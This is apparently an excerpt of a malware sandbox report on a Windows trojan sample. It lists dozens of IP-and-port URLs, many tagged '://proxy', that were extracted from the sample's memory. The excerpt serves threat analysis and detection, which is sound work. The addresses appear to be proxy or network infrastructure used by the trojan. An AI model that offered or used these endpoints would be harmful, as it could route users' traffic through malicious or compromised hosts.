Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.69.58.225:16099
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.69.58.225:16099://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.81.128.182:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.81.128.182:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.81.225.9:33140
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.81.225.9:33140://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.95.29.34:54610
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA4C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.95.29.34:54610://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.99.169.19:8444
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.99.169.19:8444://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.99.37.195:33553
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.99.37.195:33553://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.99.37.195:36477
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C78F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.99.37.195:36477://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.99.37.195:49613
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.99.37.195:49613://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.105.62.11:58973
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.105.62.11:58973://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.106.109.195
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.106.109.195://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.106.109.195:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.106.138.52:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.106.138.52:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.107.104.57:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.107.104.57:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C83EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.111.124.108:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C84B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.111.124.108:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.111.124.14:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.111.124.14:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.123.252.70:35973
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.123.252.70:35973://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.123.252.70:35973x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.136.97.17
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.136.97.17://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.136.97.17:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.151.130.114:8086
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.151.130.114:8086://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.151.90.85:16906
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.151.90.85:16906://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.176.242.186
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.176.242.186://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.176.242.186:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.19.255.21:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.19.255.21:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.231.40.182
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.231.40.182://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.231.40.182:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.233.232.120:32650
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.233.232.120:32650://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C924A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.233.232.142:32650
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C924A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.233.232.142:32650://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.239.56.84:8081
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.239.56.84:8081://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAADC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.239.56.84:8081x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.239.58.92:8081
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.239.58.92:8081://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.239.86.247:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.239.86.247:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.239.86.248:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.239.86.248:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.239.86.249:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.239.86.249:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.242.210.140
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.242.210.140://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.253.220.32
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.253.220.32://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.253.220.32:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C902B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.26.158.93:27686
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.26.158.93:27686://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.29.62.48:25808
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.29.62.48:25808://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.29.62.48:25808x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C76BC000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C76A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.30.13.18:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C76A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.30.13.18:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.31.119.180:55850
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.31.119.180:55850://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.34.237.241:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.34.237.241:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.34.95.110:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.34.95.110:8080://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.41.88.58:53281
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.41.88.58:53281://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.56.255.179:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.56.255.179:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6D0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.56.255.181:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6908000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.56.255.181:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.57.139.233:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.57.139.233:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.113.94.3:8118
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C69DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.113.94.3:8118://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.124.36.74:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.124.36.74:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBBA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.124.37.8:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBBA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.124.37.8:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.140.198.23
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.140.198.23://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.140.198.23:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.145.209.189:8083
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.145.209.189:8083://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.146.110.228:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.146.110.228:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.150.69.43:8888
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.150.69.43:8888://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.163.129.179:16517
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C70EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.163.129.179:16517://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.163.129.179:19202
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.163.129.179:19202://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.163.129.179:21912
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.163.129.179:21912://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.163.129.179:26659
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.163.129.179:26659://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.163.129.179:31158
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.163.129.179:31158://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBF62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.163.129.179:33093
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8460000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.163.129.179:33093://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.163.129.179:51212
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.163.129.179:51212://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.182.178.90:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.182.178.90:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.186.127.60
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9096000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.186.127.60://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.186.127.60:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.186.35.70:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.186.35.70:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.190.169.197:3701
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.190.169.197:3701://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.213.208.226:8180
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.213.208.226:8180://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:30295
